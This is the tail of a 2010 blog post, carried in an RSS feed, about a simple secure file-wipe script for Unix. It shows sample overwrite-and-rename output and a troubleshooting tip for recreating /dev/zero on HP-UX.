1+0 records in
1+0 records out
15477760 bytes (15 MB) copied, 3.88731 s, 4.0 MB/s
Pass number: 6
1+0 records in
1+0 records out
15477760 bytes (15 MB) copied, 3.98379 s, 3.9 MB/s
Pass number: 7
1+0 records in
1+0 records out
15477760 bytes (15 MB) copied, 3.2128 s, 4.8 MB/s
Renaming...
`foo.txt' -> `69257'
`69257' -> `761829'
`761829' -> `8380122'
`8380122' -> `92181346'
`92181346' -> `1013994811'
`1013994811' -> `11153942927'
`11153942927' -> `122693372204'
removed `122693372204'
File: foo.txt deleted.</pre>
<p>In the next release I will make a recursive version for directories and you can visit my <a href="http://hackarandas.com/hacking-projects/">other projects here</a>.</p>
<p><strong>Troubleshoot: </strong> Some Unix systems doesn&#8217;t have /dev/urandom device so you can play with the RANDEV variable to use the one you have.</p>
<p><strong>Update: </strong> Some versions of HPUX doesn&#8217;t have /dev/[u]random so you can use as a desperate alternative the /dev/zero device. I found in a <a href="http://forums11.itrc.hp.com/service/forums/questionanswer.do?threadId=75135">forum</a> that some versions of HPUX doesn&#8217;t have the /dev/zero device so you can create it with this command:</p>
<pre lang="bash">
#!/bin/sh

# major/minor for HPUX 11.X
mknod /dev/zero c 3 4
chown bin:bin /dev/zero
chmod 666 /dev/zero</pre>
<p><em>AdriÃ¡n Puente Z.</em></p>
<p><a href="http://www.technorati.com/tag/hackarandas" rel="tag">hackarandas</a>, <a href="http://www.technorati.com/tag/wipe" rel="tag">wipe</a>, <a href="http://www.technorati.com/tag/Adrian+Puente+Z." rel="tag">Adrian Puente Z.</a>, <a href="http://www.technorati.com/tag/security" rel="tag">security</a>, <a href="http://www.technorati.com/tag/Secure+Delete" rel="tag">Secure Delete</a>, <a href="http://www.technorati.com/tag/unix" rel="tag">unix</a>, <a href="http://www.technorati.com/tag/security" rel="tag">security</a>, <a href="http://www.technorati.com/tag/seguridad" rel="tag">seguridad</a>, <a href="http://www.technorati.com/tag/ksh+code" rel="tag">ksh code</a></p>
<p><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook_messenger" href="https://www.addtoany.com/add_to/facebook_messenger?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="Facebook Messenger" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hacker_news" href="https://www.addtoany.com/add_to/hacker_news?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="Hacker News" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_google_bookmarks" href="https://www.addtoany.com/add_to/google_bookmarks?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="Google Bookmarks" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_evernote" href="https://www.addtoany.com/add_to/evernote?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="Evernote" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_telegram" href="https://www.addtoany.com/add_to/telegram?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="Telegram" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_kindle_it" href="https://www.addtoany.com/add_to/kindle_it?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="Kindle It" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_wechat" href="https://www.addtoany.com/add_to/wechat?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="WeChat" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_instapaper" href="https://www.addtoany.com/add_to/instapaper?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="Instapaper" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&#038;title=Uncomplicated%20File%20Wipe%20for%20%2ANIX" data-a2a-url="https://hackarandas.com/blog/2010/08/17/uncomplicated-wipe-for-nix/" data-a2a-title="Uncomplicated File Wipe for *NIX"><img src="https://static.addtoany.com/buttons/share_save_120_16.png" alt="Share"></a></p>]]></content:encoded>
					
					<wfw:commentRss>https://hackarandas.com/blog/2010/08/17/uncomplicated-wipe-for-nix/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>